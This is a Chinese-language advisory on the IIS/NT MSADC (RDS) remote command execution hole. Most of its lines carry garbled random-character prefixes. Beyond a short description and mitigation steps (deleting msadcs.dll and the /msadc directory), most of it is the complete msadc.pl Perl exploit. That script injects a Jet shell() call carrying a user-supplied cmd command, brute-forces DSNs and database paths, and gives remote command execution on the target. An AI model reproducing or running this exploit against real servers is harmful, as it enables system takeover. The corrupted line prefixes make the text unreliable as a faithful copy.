IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
"?0 G^zu tIy/QN_42 涉及程序：
E~O>m8hF Microsoft NT server
Ky~~Cd$ Hr,lA( 描述：
{8p?we3l1 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
_TcQ12H 5< Hr,gV2n 详细：
9M~$W- 5 如果你没有时间读详细内容的话，就删除:
mE@o27 c:\Program Files\Common Files\System\Msadc\msadcs.dll
mS;Q8Crh 有关的安全问题就没有了。
^EBM ;&;7 C%o/ 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
NeZYchR 3bL2fsn5 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
A(sx5Ynp 关于利用ODBC远程漏洞的描述，请参看:
oW1olmpp= p C.P http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ej53O/hP 5+"8q#X$ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
zyn =Xv@p http://www.microsoft.com/security/bulletins/MS99-025faq.asp ^
J@i7 FOb \yizIo.Y` 这里不再论述。
LO*a>9LI <; Z~ vZ] 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
tJfN6 Pw{{+PBu R /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
zw: b7B] 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
6 FxndR ; 1ucUnNkcV zQ^[=siZ} #将下面这段保存为txt文件，然后: "perl -x 文件名"
@?AE75E{ u"$HWB~@z #!perl
I{UB!0H #
BnY|t2r # MSADC/RDS 'usage' (aka exploit) script
} j@@ #
BrmFwXLP" # by rain.forest.puppy
D4S?b ZFHo #
Mo
r-$a8 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
?Og ;W9i # beta test and find errors!
4nXS 9RiF2 9cPucKuj use Socket; use Getopt::Std;
*3oQS"8 getopts("e:vd:h:XR", \%args);
_
L6>4 GgZf6~b1J print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
I=I%e3GEm X2 kLbe if (!defined $args{h} && !defined $args{R}) {
!-Q!/? print qq~
e+aQ$1 ^t Usage: msadc.pl -h <host> { -d <delay> -X -v }
hzVO.Q* -h <host> = host you want to scan (ip or domain)
pDN,(Ip -d <seconds> = delay between calls, default 1 second
@2O\M ,g5 -X = dump Index Server path table, if available
l'R`XGT -v = verbose
ee\z U~ -e = external dictionary file for step 5
l8l i@K Kwau:_B Or a -R will resume a command session
~qxc!k!w4 0 ']M,iC/ ~; exit;}
I9 aber1 j
KK48 S $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
-p~B
-, if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
-v&srd^ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
N.r B- if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
B-zt(HG $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
>?x Vr if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
o4795r,jz =]Bm>67" if (!defined $args{R}){ $ret = &has_msadc;
SS- die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
RmCR"~ Vngi8%YWp print "Please type the NT commandline you want to run (cmd /c assumed):\n"
93,ExgFt . "cmd /c ";
.!! yj,bQz $in=<STDIN>; chomp $in;
nV1,
):kh $command="cmd /c " . $in ;
o)DKP>IM# @n3PCH6:Ao if (defined $args{R}) {&load; exit;}
J0o[WD$A x )n V x 2m4 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
_^ZII &try_btcustmr;
=#Jb9=zdR Po[zzj>m print "\nStep 2: Trying to make our own DSN...";
=n&83MYX
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
Pd?YS!+S y uq E print "\nStep 3: Trying known DSNs...";
FUqiP(A &known_dsn;
sa ])^mkq( OYkd?LN print "\nStep 4: Trying known .mdbs...";
!LA #c' &known_mdb;
yo=d"*E4^ 7 #`:m |$ if (defined $args{e}){
UgJHS l print "\nStep 5: Trying dictionary of DSN names...";
BDg /pDnwg &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
/:)4tIV BH1To&ol print "Sorry Charley...maybe next time?\n";
Hqk2W*UTl exit;
S3r\)5%; ;DOz92X94 ##############################################################################
c1f6RCu$b 4+0Zj+
q"; sub sendraw { # ripped and modded from whisker
- =Hr|AhE sleep($delay); # it's a DoS on the server! At least on mine...
X,b } d#\ my ($pstr)=@_;
1vr/|RWW socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
=
zSr re die("Socket problems\n");
DX|kO if(connect(S,pack "SnA4x8",2,80,$target)){
\GN5Sy]r select(S); $|=1;
H D >{UU? print $pstr; my @in=<S>;
w>e OERZa select(STDOUT); close(S);
S;C3R5*: return @in;
/:DxB00 } else { die("Can't connect...\n"); }}
^/,s$dj &*}S 0 ##############################################################################
,Dj ZDw VmW_, sub make_header { # make the HTTP request
"T'!cy my $msadc=<<EOT
A, os rv POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
6 eBQ9XV User-Agent: ACTIVEDATA
`u-}E9{ Host: $ip
p ,!`8c6 Content-Length: $clen
C<pF13*4 Connection: Keep-Alive
6 B
) $T6<9cB@ ADCClientVersion:01.06
>/>a++19 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
-%A6eRShk O =fT;&%. --!ADM!ROX!YOUR!WORLD!
cIX59y#7 Content-Type: application/x-varg
FR&RIFy Content-Length: $reqlen
srC jq Gp14; EOT
c}Qc2D3* ; $msadc=~s/\n/\r\n/g;
?E`J-ncP return $msadc;}
lIf Our 1osI~oNZ ##############################################################################
1ayxE(vMcX 4]cOTXk9C sub make_req { # make the RDS request
YpWu\oP my ($switch, $p1, $p2)=@_;
-{O2Nv- ]] my $req=""; my $t1, $t2, $query, $dsn;
{k C]x2 U w9 N Um if ($switch==1){ # this is the btcustmr.mdb query
H=dj\Br` $query="Select * from Customers where City=" . make_shell();
{>i'Pb0mG| $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
2}`OjVS $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
~6OdPD d#(xP2 elsif ($switch==2){ # this is general make table query
jj^CW"IB $query="create table AZZ (B int, C varchar(10))";
N>/U%01a $dsn="$p1";}
bZ389dSn 4-TM3Cw`d& elsif ($switch==3){ # this is general exploit table query
F8pLA@7[ $query="select * from AZZ where C=" . make_shell();
/5o~$ S $dsn="$p1";}
]!f=b\-Av JeO(sj$e elsif ($switch==4){ # attempt to hork file info from index server
6L2.88 i $query="select path from scope()";
old}}>_ $dsn="Provider=MSIDXS;";}
xD~:= ]G s^ 6S {XJ elsif ($switch==5){ # bad query
%9M_ * ] $query="select";
8U-}%D<a $dsn="$p1";}
-JcfP+{wS mtHw! * $t1= make_unicode($query);
@ ) 1 u $t2= make_unicode($dsn);
U?kJXM2 $req = "\x02\x00\x03\x00";
P'g$F<~V $req.= "\x08\x00" . pack ("S1", length($t1));
6@bO 3K| $req.= "\x00\x00" . $t1 ;
Jo2:0<VL $req.= "\x08\x00" . pack ("S1", length($t2));
f#[ Fqkmj $req.= "\x00\x00" . $t2 ;
:imp~~L; $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
|n~- LH++ return $req;}
r;9F @/ "6.kZ$`% ##############################################################################
rtOXK4)]I Wz9 }glr sub make_shell { # this makes the shell() statement
z0c_&@uj* return "'|shell(\"$command\")|'";}
kMK-E<g Uc6P@O*, ##############################################################################
nq r[HFWs G !wFG-Y} sub make_unicode { # quick little function to convert to unicode
|E|d"_Ma my ($in)=@_; my $out;
zU] 9 5I for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
ZMoN return $out;}
^xFZ;Yf _},u[+ ##############################################################################
iFpJ /L SxH b76 ; sub rdo_success { # checks for RDO return success (this is kludge)
A=Dzd/CUO my (@in) = @_; my $base=content_start(@in);
I)T]}et if($in[$base]=~/multipart\/mixed/){
-FdhV%5] return 1 if( $in[$base+10]=~/^\x09\x00/ );}
6/ F]ncw G return 0;}
kbiMqiPG j#zUO&Q@ ##############################################################################
fp u^ .r $d
8J sub make_dsn { # this makes a DSN for us
^GHA,cSf my @drives=("c","d","e","f");
^* `hJ48u print "\nMaking DSN: ";
n} }$-xl foreach $drive (@drives) {
?u/RQ 1 print "$drive: ";
U TC|8 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
cl/}PmYIZ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
c/%i,N\5 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
1 >|2 B&_^ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
F=bX\T7 return 0 if $2 eq "404"; # not found/doesn't exist
?@!dc6
if($2 eq "200") {
\ ?sM foreach $line (@results) {
3]$qY_|7 return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
H}Z \r2 } return 0;}
t Y'fFz^Ho 3+ JkV\AF ##############################################################################
H$^IT# -C1,$mk j sub verify_exists {
AU0pJB' my ($page)=@_;
L"e8S%UqX my @results=sendraw("GET $page HTTP/1.0\n\n");
*.q m+#8W return $results[0];}
C3>&O?7J*7 z3> ldT ##############################################################################
RE 6d&#N }M*yE]LL;Z sub try_btcustmr {
@ A?Ss8p' my @drives=("c","d","e","f");
)i|0Ubn[| my @dirs=("winnt","winnt35","winnt351","win","windows");
X"lPXoCN s_:7dD foreach $dir (@dirs) {
Q#M@!& print "$dir -> "; # fun status so you can see progress
,E
] vM& foreach $drive (@drives) {
;=r_R! d@ print "$drive: "; # ditto
g4z*6L,u $reqlen=length( make_req(1,$drive,$dir) ) - 28;
apy9B6%PJ+ $reqlenlen=length( "$reqlen" );
iX
( <ozH $clen= 206 + $reqlenlen + $reqlen;
' m^nKG$" ( t[s Sl my @results=sendraw(make_header() . make_req(1,$drive,$dir));
csK;GSp} if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
P]cC2L@Vbi else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
VCf/EkC Fw.df< ##############################################################################
skeH~-`M@ 3:wN^!A}ve sub odbc_error {
; ,9:1.L my (@in)=@_; my $base;
h[*:\P ` my $base = content_start(@in);
{wJ8%
;Z7 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
^L4"X~eM $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
P z<
\q; $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
W *.j=?)\[ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
FHOF 6}if return $in[$base+4].$in[$base+5].$in[$base+6];}
N1!O8"Q|*3 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
X^o 0t^
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
9@3cz_[J $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
oU `{6 ~; ' Bx"i ##############################################################################
i U"2uLgb (ay((|) sub verbose {
2e?a"Vss my ($in)=@_;
.QVN &UyZ return if !$verbose;
3sD/4 ? print STDOUT "\n$in\n";}
%n B}Hq ; &*j# [6 ##############################################################################
,hSTR) \DMZ M sub save {
D;! aix3 my ($p1, $p2, $p3, $p4)=@_;
XlJA}^e open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Xte"tf9(C print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
]5a,%*f+ close OUT;}
^~` t
q+ S; Fj9\2)I ##############################################################################
jJqq:.XqB8 ;&9wG` sub load {
0zc~!r~ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
b wqd` C open(IN,"<rds.save") || die("Couldn't open rds.save\n");
s;W1YN @p=<IN>; close(IN);
v|IG
G'r $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
ovsI2 $target= inet_aton($ip) || die("inet_aton problems");
tlyDXB~+ print "Resuming to $ip ...";
v5A8"&Jr $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
IA~wmOF if($p[1]==1) {
(5h+b_eB $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
?4sF:Y+\ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
eh /QFm
4 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
d>hLnz1O if (rdo_success(@results)){print "Success!\n";}
oi\e[qE else { print "failed\n"; verbose(odbc_error(@results));}}
mvXIh" ; elsif ($p[1]==3){
N
V BWF if(run_query("$p[3]")){
4l~B/"} print "Success!\n";} else { print "failed\n"; }}
T{4Ru6[ elsif ($p[1]==4){
&O\$=&, h if(run_query($drvst . "$p[3]")){
->*'Y;t4 print "Success!\n"; } else { print "failed\n"; }}
d)'J: exit;}
JAU:Wqlg1 V1 O]L66 ##############################################################################
#G\;)p T Uu(FFd~3 sub create_table {
u oMDf{d my ($in)=@_;
859ID8F $reqlen=length( make_req(2,$in,"") ) - 28;
~@ML>z 7 $reqlenlen=length( "$reqlen" );
M D,+>kh $clen= 206 + $reqlenlen + $reqlen;
aqoxj[V^3L my @results=sendraw(make_header() . make_req(2,$in,""));
Y N*"q'Yz_ return 1 if rdo_success(@results);
=x-@-\m my $temp= odbc_error(@results); verbose($temp);
M2rgB%W)m return 1 if $temp=~/Table 'AZZ' already exists/;
]}A3Pm- t* return 0;}
Wer.VL Xw]L'+V= ##############################################################################
`%Jq^uW I1fUV72 sub known_dsn {
U`)o$4Bq # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
gvy c(d my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
xAJuIR1Hi "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
U9%#(T$ "banner", "banners", "ads", "ADCDemo", "ADCTest");
N Ty0NH
~[3B<^e foreach $dSn (@dsns) {
!F[^?:pK print ".";
jLCZ
JSK next if (!is_access("DSN=$dSn"));
V^E.9fs, if(create_table("DSN=$dSn")){
m+'vrxTY print "$dSn successful\n";
h?+bW'm if(run_query("DSN=$dSn")){
Av"^uevfs print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
!R"iV^?V print "Something's borked. Use verbose next time\n";}}} print "\n";}
tp?<
e V>:ubl8j0l ##############################################################################
5@< D6>6 ,{VC(/d sub is_access {
<imIgt|`2 my ($in)=@_;
e{fm7Cc)D $reqlen=length( make_req(5,$in,"") ) - 28;
jw$[b =sa $reqlenlen=length( "$reqlen" );
iz5WWn^ $clen= 206 + $reqlenlen + $reqlen;
eZk4 $y my @results=sendraw(make_header() . make_req(5,$in,""));
,/6 aA7( my $temp= odbc_error(@results);
=#K$b *# verbose($temp); return 1 if ($temp=~/Microsoft Access/);
t182&gpd` return 0;}
a^QyYX}\qR k.("<) ##############################################################################
/4lm=ZE/ \aB>Q"pS sub run_query {
fl zHZH my ($in)=@_;
"*N=aHsj $reqlen=length( make_req(3,$in,"") ) - 28;
~.L\f%< $reqlenlen=length( "$reqlen" );
SxWK@)tP $clen= 206 + $reqlenlen + $reqlen;
;8 J+Q0V my @results=sendraw(make_header() . make_req(3,$in,""));
E|> oseR return 1 if rdo_success(@results);
( S= RFd my $temp= odbc_error(@results); verbose($temp);
5\\a49k.p return 0;}
qt{{q +?[,{WtV ##############################################################################
Vi o ~2 Uth H sub known_mdb {
afNqK~ my @drives=("c","d","e","f","g");
l1MVC@'pvP my @dirs=("winnt","winnt35","winnt351","win","windows");
F|3iKK022 my $dir, $drive, $mdb;
u[;,~eB%w my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
`R+I (Cb kjVJ!R\ # this is sparse, because I don't know of many
Z<^TO1xs9B my @sysmdbs=( "\\catroot\\icatalog.mdb",
PGaYYc3X "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
: ZWKrnG "\\system32\\certmdb.mdb",
!.}ZlA "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
/;rPzP4K6 V.U9Q{y" my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
\8e27#PJR "\\cfusion\\cfapps\\forums\\forums_.mdb",
CW9vC "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
*dw6>G0U "\\cfusion\\cfapps\\security\\realm_.mdb",
KqNbIw*sR "\\cfusion\\cfapps\\security\\data\\realm.mdb",
DtrR< &m "\\cfusion\\database\\cfexamples.mdb",
3j2#'Jf|: "\\cfusion\\database\\cfsnippets.mdb",
yv2N5IQ>{V "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
4'
MmT' "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
y
+2 "\\cfusion\\brighttiger\\database\\cleam.mdb",
. \6q\7Ej "\\cfusion\\database\\smpolicy.mdb",
rrL
gBeQa "\\cfusion\\database\cypress.mdb",
~ WO "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
<g4 [p^A "\\website\\cgi-win\\dbsample.mdb",
j[e<CGZ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
xS>d$)rIj "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
bB->7.GXu ); #these are just
"ytPS~ foreach $drive (@drives) {
tW)K pX foreach $dir (@dirs){
1;8%\r[|5^ foreach $mdb (@sysmdbs) {
l}jC$B`5 print ".";
)5Nj wLs if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
*\ !>22* print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
=}1)/gcM if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
uZ/XI {/ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
V }?MP-.c } else { print "Something's borked. Use verbose next time\n"; }}}}}
3)6&)7 `* Wq}Y|0c foreach $drive (@drives) {
cKM#0dq foreach $mdb (@mdbs) {
|@*3
nb8 print ".";
r\ ."=l if(create_table($drv . $drive . $dir . $mdb)){
LjEG1$F> print "\n" . $drive . $dir . $mdb . " successful\n";
{IgL H`@ if(run_query($drv . $drive . $dir . $mdb)){
]I<w;.z print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
`Hp=1 a } else { print "Something's borked. Use verbose next time\n"; }}}}
^1mnw @04 }
$c0<I5 9&| p-o8Ctc?V ##############################################################################
"pInb5F E3"j7y[S sub hork_idx {
?;xL]~Q~1 print "\nAttempting to dump Index Server tables...\n";
F>lM[Lu# print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
5 !Ho[ $reqlen=length( make_req(4,"","") ) - 28;
#9e 2+5s $reqlenlen=length( "$reqlen" );
4o 69t $clen= 206 + $reqlenlen + $reqlen;
N eC]MW my @results=sendraw2(make_header() . make_req(4,"",""));
=_=0l+\} if (rdo_success(@results)){
5I>a|I!j my $max=@results; my $c; my %d;
LF X[v for($c=19; $c<$max; $c++){
<Eu/f`8 $results[$c]=~s/\x00//g;
>v' @p $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
nJ2910"< $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
yW]>v>l:Eg $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
W1
\dGskV $d{"$1$2"}="";}
's\rQ- TV foreach $c (keys %d){ print "$c\n"; }
@>q4hYF } else {print "Index server doesn't seem to be installed.\n"; }}
AK//]
Txa
2`2t7 ##############################################################################
f7?u` "C XYze*8xUb sub dsn_dict {
J 7HOSFwXn open(IN, "<$args{e}") || die("Can't open external dictionary\n");
hH]oJ}H \ while(<IN>){
v`\ CzT $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
y3Ul}mVhA next if (!is_access("DSN=$dSn"));
*]>~lO1 if(create_table("DSN=$dSn")){
Z jn![ print "$dSn successful\n";
z0 J:"M if(run_query("DSN=$dSn")){
'NN3XyD print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
6 g)X&pZ print "Something's borked. Use verbose next time\n";}}}
q22@ZRw print "\n"; close(IN);}
&\W5|*`x- Eyh(2 57 ##############################################################################
)(h<vo)-zX H><!
C sub sendraw2 { # ripped and modded from whisker
`^:
v+! sleep($delay); # it's a DoS on the server! At least on mine...
%:.IG.`d my ($pstr)=@_;
1>)uI@?Rb socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
ch)#NHZ9F die("Socket problems\n");
:auq#$B if(connect(S,pack "SnA4x8",2,80,$target)){
ZW ZKy JQ print "Connected. Getting data";
uiq;{!dop open(OUT,">raw.out"); my @in;
v03 ^ select(S); $|=1; print $pstr;
=`t%p1 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
&t@|/~%[ close(OUT); select(STDOUT); close(S); return @in;
IRbZ ;*3dO } else { die("Can't connect...\n"); }}
*]e 9/f 2l} 3L ##############################################################################
Z`yW2ON$' p}lFV,V sub content_start { # this will take in the server headers
XB+Juk&d my (@in)=@_; my $c;
y 2@8? for ($c=1;$c<500;$c++) {
Ew2ksZ>B]& if($in[$c] =~/^\x0d\x0a/){
~c|{PZ9U if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
YA@OA$`E else { return $c+1; }}}
d~w}{LR[1 return -1;} # it should never get here actually
O^4K o} }tPI#[cfK ##############################################################################
bEl)/z*gy/ +"D* 0gYD sub funky {
T0lbMp my (@in)=@_; my $error=odbc_error(@in);
uDG#L6 if($error=~/ADO could not find the specified provider/){
[ FNA: print "\nServer returned an ADO miscofiguration message\nAborting.\n";
vY(xH>Fd exit;}
2w6 7 >w\ if($error=~/A Handler is required/){
e]u3[ao print "\nServer has custom handler filters (they most likely are patched)\n";
ZH=oQV)6 exit;}
Q~G>=J9 if($error=~/specified Handler has denied Access/){
YJ~3eZQ print "\nServer has custom handler filters (they most likely are patched)\n";
5Y(f7,JX exit;}}
Wj#Gm Auf2JH~ ##############################################################################
Avi8 &@ya |k= L&vs
sub has_msadc {
$K*&Wdo my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
\k)(:[^FY my $base=content_start(@results);
. [5{ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
jwZBWt )5 return 0;}
1U;p+k5c #F!'B|n ########################
VJ$UpqVm PK|"+I0 RE}$(T= 解决方案：
RNn5,W 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
I:G4i}mA 2、移除web 目录: /msadc
